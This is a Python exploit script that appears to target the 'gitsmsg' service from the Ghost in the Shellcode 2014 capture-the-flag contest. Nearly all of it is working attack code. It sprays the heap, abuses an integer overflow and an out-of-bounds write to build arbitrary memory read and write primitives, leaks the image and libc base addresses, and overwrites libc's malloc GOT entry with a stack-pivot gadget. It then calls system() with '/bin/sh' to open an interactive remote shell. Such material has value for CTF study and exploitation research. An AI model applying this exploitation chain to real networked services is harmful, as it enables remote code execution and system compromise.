import os
import random
import sys
import struct
import socket
import telnetlib
import time

host = "gitsmsg.2014.ghostintheshellcode.com"
port = 8585

def read_until(s, text):
  buffer = ""
  while len(buffer) < len(text):
    buffer += s.recv(1)
  while buffer != text:
    buffer = buffer[1:] + s.recv(1)

def read_all(s, n):
  total = ""
  while len(total) < n:
    data = s.recv(n - len(total))
    if len(data) == 0:
      return total
    total += data
  return total


##########################################################################
# Task-specific exploitation utilities.
##########################################################################

def exploit_read_mem(s, special_obj, modified_obj, oob_offset, address, n):
  # Set object type to 0x13 (byte array) for fast reading.
  s.send(struct.pack('I', 8))
  s.send(struct.pack('I', special_obj))
  s.send(struct.pack('I', (oob_offset - 12) / 4)) # -12 is the offset of the "type" field.
  s.send(struct.pack('I', 0x13))                  # new modified object type.
  print "[+] READMEM: changing object type to 0x13: %x" % struct.unpack('I', s.recv(4))[0]

  # Set object address to the desired virtual address.
  s.send(struct.pack('I', 8))
  s.send(struct.pack('I', special_obj))
  s.send(struct.pack('I', (oob_offset - 8) / 4))  # -8 is the offset of the "buf_ptr" field.
  s.send(struct.pack('I', address))               # new object buf_ptr.
  print "[+] READMEM: changing object address to %x: %x" % (address, struct.unpack('I', s.recv(4))[0])

  # Set object size to the amount of data we want to read.
  s.send(struct.pack('I', 8))
  s.send(struct.pack('I', special_obj))
  s.send(struct.pack('I', (oob_offset - 4) / 4))  # -4 is the offset of the "n" field.
  s.send(struct.pack('I', n))                     # new buffer length.
  print "[+] READMEM: changing object size to %u: %x" % (n, struct.unpack('I', s.recv(4))[0])

  # Get the data out.
  s.send(struct.pack('I', 5))
  s.send(struct.pack('I', modified_obj))
  mode   = struct.unpack('I', s.recv(4))[0]
  length = struct.unpack('I', s.recv(4))[0]
  if mode != 0x13:
    sys.stderr.write("[-] READMEM: type is %x but should be 0x13\n" % mode)
    sys.exit(1)
  if length != n:
    sys.stderr.write("[-] READMEM: length of object is %u but should be %u\n" % (length, n))
    sys.exit(1)
  data = read_all(s, n)
  print "[+] READMEM: read %u bytes with statux %x" % (len(data), struct.unpack('I', s.recv(4))[0])

  return data

def exploit_write_mem(s, special_obj, modified_obj, oob_offset, address, data):
  # Set object type to 0x13 (byte array).
  s.send(struct.pack('I', 8))
  s.send(struct.pack('I', special_obj))
  s.send(struct.pack('I', (oob_offset - 12) / 4)) # -12 is the offset of the "type" field.
  s.send(struct.pack('I', 0x13))                  # new modified object type.
  print "[+] WRITEMEM: changing object type to 0x13: %x" % struct.unpack('I', s.recv(4))[0]

  # Set object address to the corresponding virtual address.
  s.send(struct.pack('I', 8))
  s.send(struct.pack('I', special_obj))
  s.send(struct.pack('I', (oob_offset - 8) / 4))  # -8 is the offset of the "buf_ptr" field.
  s.send(struct.pack('I', address))               # new object buf_ptr.
  print "[+] WRITEMEM: changing object address to %x: %x" % (address, struct.unpack('I', s.recv(4))[0])

  # Set object size to something large to avoid any unexpected bounds checking.
  s.send(struct.pack('I', 8))
  s.send(struct.pack('I', special_obj))
  s.send(struct.pack('I', (oob_offset - 4) / 4))  # -4 is the offset of the "n" field.
  s.send(struct.pack('I', 0xffffffff))            # maximum uint32 value.
  print "[+] WRITEMEM: changing object size to 0xffffffff: %x" % struct.unpack('I', s.recv(4))[0]
  
  for i in range(0, len(data)):
    # Perform the write operation.
    s.send(struct.pack('I', 8))
    s.send(struct.pack('I', modified_obj))
    s.send(struct.pack('I', i))                   # offset.
    s.send(struct.pack('B', ord(data[i])))        # one byte at a time.
    print "[+] WRITEMEM: writing byte at offset %u: %x" % (i, struct.unpack('I', s.recv(4))[0])

##########################################################################
# Exploit start
##########################################################################

# Connect to remote host
s = socket.socket()
s.connect((host, port))

# Receive first dword.
print "[+] Program start: %x" % struct.unpack('I', s.recv(4))

# Log in.
user_name = "".join(chr(random.randint(0x61, 0x7a)) for x in range(256))
s.send(struct.pack('I', 1))
s.send(user_name)
print "[+] Log in: %x" % struct.unpack('I', s.recv(4))

# Create some objects for spraying.
SPRAYING_OBJECT_COUNT = 10
for i in range(0, SPRAYING_OBJECT_COUNT):
  s.send(struct.pack('I', 4))
  s.send(user_name)
  s.send(struct.pack('I', 0xdeadbeef)) # string id (<=2 or not)
  s.send(struct.pack('I', 0x16))
  s.send(struct.pack('I', 0xdeadbeef)) # unused overwritten buf_ptr
  sys.stdout.write("[+] %u 0x16 object creation: %x\r" % (i, struct.unpack('I', s.recv(4))[0]))
sys.stdout.write("\n")

# Free every second object to create gaps.
objects = SPRAYING_OBJECT_COUNT
i = 0
while i < objects:
  s.send(struct.pack('I', 2))
  s.send(struct.pack('I', i))
  sys.stdout.write("[+] %u 0x16 object deletion: %x\r" % (i, struct.unpack('I', s.recv(4))[0]))
  i += 1
  objects -= 1
sys.stdout.write("\n")

# Create an object with an overly large size to overwrite the other objects.
s.send(struct.pack('I', 4))
s.send(user_name)
s.send(struct.pack('I', 0xc00000ff)) # size * 4 overflows to 0x3fc (1020),
                                     # our desired object size to be put
                                     # in one of the 1044 byte gaps.
s.send(struct.pack('I', 0x14))       # object id 0x14
s.send("A" * (255 * 4))              # buffer data
print "[+] 0x14 object creaction: %x" % struct.unpack('I', s.recv(4))[0]

# Overwrite a part of the next allocation to be sure the memory layout
# is as expected.
SPECIAL_OBJ_ID = 0
TEST_OFFSET = 1048 + 16              # 1048 bytes between adjacent allocations
                                     # 16 is the offset of user_data within file_desc.
                                     # We're trying to overwrite the first four bytes
                                     # of user_data.
TEST_STRING = "l33t"

s.send(struct.pack('I', 8))
s.send(struct.pack('I', SPECIAL_OBJ_ID))
s.send(struct.pack('I', TEST_OFFSET / 4))
s.send(TEST_STRING)
print "[+] Overwriting adjacent 0x16 allocation: %x" % struct.unpack('I', s.recv(4))[0]

# List entries to see if one was modified.
s.send(struct.pack('I', 3))
count = struct.unpack('I', s.recv(4))[0]
print "[+] Listing entries: %u found." % count

oob_offset = TEST_OFFSET
modified_obj = -1
for i in range(0, count):
  mode      = struct.unpack('I', s.recv(4))[0]
  committed = struct.unpack('I', s.recv(4))[0]
  user_data = read_all(s, 256)
  print "[+] Entry %u: type=%x, committed=%u (valid=%u)" % (i, mode, committed, user_data == user_name)

  # Found the modified entry (only consider first one).
  if user_data != user_name and modified_obj == -1:
    # Depending on where the marker landed, adjust out-of-bounds offset.
    if user_data.find(TEST_STRING) == -1:
      sys.stderr.write("[-] Test string not found in modified user data: \"%s\". Aborting.\n" % user_data)
      sys.exit(1)
    oob_offset -= user_data.find(TEST_STRING)
    modified_obj = i
# Receive return status.
print "[+] Listing complete, status: %x" % struct.unpack('I', s.recv(4))[0]

# Check that we indeed found an overwritten object.
if modified_obj == -1:
  sys.stderr.write("[-] No object modified. Perhaps increase spraying allocation count?\n")
  sys.exit(1)

# Disclose process image base by changing object type from 0x16 to 0x11 which lets
# you read the buf_ptr value directly.
STRING_OFFSET = 0x2bb0

s.send(struct.pack('I', 8))
s.send(struct.pack('I', SPECIAL_OBJ_ID))
s.send(struct.pack('I', (oob_offset - 12) / 4)) # -12 is the offset of the "type" field.
s.send(struct.pack('I', 0x11))                  # new modified object type.
print "[+] Changing object type from 0x16 to 0x11: %x" % struct.unpack('I', s.recv(4))[0]

s.send(struct.pack('I', 5))
s.send(struct.pack('I', modified_obj))
mode    = struct.unpack('I', s.recv(4))[0]
length  = struct.unpack('I', s.recv(4))[0]
if mode != 0x11 or length != 4:
  sys.stderr.write("[-] Invalid length (%u) or type (%x) for modified object.\n" % (length, mode))
  sys.exit(1)
image_base = struct.unpack('I', s.recv(4))[0] - STRING_OFFSET
print "[+] Address leaked: %x, with status %x" % (image_base, struct.unpack('I', s.recv(4))[0])

# Read ELF header to make sure everything works ok.
elf_header = exploit_read_mem(s, SPECIAL_OBJ_ID, modified_obj, oob_offset, image_base, 16)
if elf_header[0:4] != "\x7fELF":
  sys.stderr.write("[-] ELF header test failed. Expected valid signature, got \"%s\".\n" %\
                   ":".join(hex(ord(x))[2:] for x in elf_header))
  sys.exit(1)
print "[+] ELF header successfully read: %s" % ":".join(hex(ord(x))[2:] for x in elf_header)

# Read .got entries to figure out offsets.
GOT_OFFSET = 0x4f0c
GOT_SETSOCKOPT_OFFSET = GOT_OFFSET + 0xc

got_entries = exploit_read_mem(s, SPECIAL_OBJ_ID, modified_obj, oob_offset, image_base + GOT_SETSOCKOPT_OFFSET, 16)
(setsockopt_ptr, getpwnam_ptr, snprintf_chk_ptr, strstr_ptr) = struct.unpack('IIII', got_entries)
print "[+] GOT addresses: [setsockopt: %x] [getpwnam: %x] [snprintf_chk: %x] [strstr: %x]" %\
      (setsockopt_ptr, getpwnam_ptr, snprintf_chk_ptr, strstr_ptr)

# Find libc base address.
'''
raw_input("[+] About to scan process memory in search of libc image base. Ready? ")

libc_image_base = ((setsockopt_ptr + 0xfff) & 0xfffff000)
data = ""

print "[+] Looking for libc image base starting from %x" % libc_image_base
while data != "\x7fELF":
  libc_image_base -= 0x1000

  print "[+] Trying %x..." % libc_image_base
  data = exploit_read_mem(s, SPECIAL_OBJ_ID, modified_obj, oob_offset, libc_image_base, 4)

print "[+] libc.so image base found: %x" % libc_image_base
'''
libc_image_base = setsockopt_ptr - 0xec6d0

# Re-login again, causing controlled string to be stored at 0x5060.
s.send(struct.pack('I', 1))
s.send("/bin/sh >&4 <&4".ljust(256, "\0"))
print "[+] Re-login: %x" % struct.unpack('I', s.recv(4))

# Here's how I obtained the "system" function address: Having
# the relative offsets of other libc functions used in the program,
# I googled around for those offsets (particularly "b2620"), finding
# the a single expired result from pastebin.
#
# Fortunately, Google cache worked for this one:
#
# http://webcache.googleusercontent.com/search?q=cache:q5hya4XeCpsJ:pastebin.com/2DUuDYuu+&cd=1&hl=pl&ct=clnk&gl=pl

# This code overwrites the malloc entry of libc .got.plt:
# .got.plt:001A1000 off_1A1000      dd offset _Unwind_Find_FDE ; DATA XREF: __Unwind_Find_FDEr
# .got.plt:001A1004 off_1A1004      dd offset realloc       ; DATA XREF: _reallocr
# .got.plt:001A1008 off_1A1008      dd offset malloc        ; DATA XREF: _mallocr
# .got.plt:001A100C off_1A100C      dd offset sub_96510     ; DATA XREF: sub_16E90r
# .got.plt:001A1010 off_1A1010      dd offset memalign      ; DATA XREF: _memalignr
# .got.plt:001A1014 off_1A1014      dd offset sub_81E60     ; DATA XREF: sub_16EB0r
# .got.plt:001A1018 off_1A1018      dd offset sub_7D420     ; DATA XREF: sub_16EC0r
# .got.plt:001A101C off_1A101C      dd offset calloc        ; DATA XREF: _callocr
# .got.plt:001A1020 off_1A1020      dd offset ___tls_get_addr ; DATA XREF: ____tls_get_addrr
# .got.plt:001A1024 off_1A1024      dd offset free          ; DATA XREF: _freer
# .got.plt:001A1028 off_1A1028      dd offset sub_7BED0     ; DATA XREF: sub_16F00r
#
# The malloc is later used in a fopen() call performed by the "save to files" function. It is overwritten with
# a simple ADD ESP, 0x100; RET gadget which adjusts the stack so that ESP points at a /home/gitsmsg/msgs/[CONTROLLED]
# string based on the first entry in the queue (registered a few lines below, just before triggering saving to files).

LIBC_SYSTEM_OFFSET = 0x3d170
LIBC_GOTPLT_OFFSET = 0x1a1000
LIBC_GOTPLT_MALLOC_OFFSET = LIBC_GOTPLT_OFFSET + 0x8
LIBC_RET_GADGET_OFFSET = 0x7c8a1
exploit_write_mem(s, SPECIAL_OBJ_ID, modified_obj, oob_offset, libc_image_base + LIBC_GOTPLT_MALLOC_OFFSET, struct.pack('I', libc_image_base + LIBC_RET_GADGET_OFFSET))

# Insert one last entry with the payload (which will end up on the stack of the "save_entries_to_files" function.
USERNAME_OFFSET = 0x5060

s.send(struct.pack('I', 4))
s.send(("A" * 93 + struct.pack('I', libc_image_base + LIBC_SYSTEM_OFFSET) + "A" * 4 + struct.pack('I', image_base + USERNAME_OFFSET)).ljust(256, "\xcc"))
s.send(struct.pack('I', 0xdeadbeef)) # string id (<=2 or not)
s.send(struct.pack('I', 0x16))
s.send(struct.pack('I', 0xdeadbeef)) # unused overwritten buf_ptr
sys.stdout.write("[+] extra object creation: %x\r" % struct.unpack('I', s.recv(4))[0])

# Trigger the "save to files" action to trigger overwritten free() call.
s.send(struct.pack('I', 7))

# Give control to user
t = telnetlib.Telnet()
t.sock = s
t.interact()

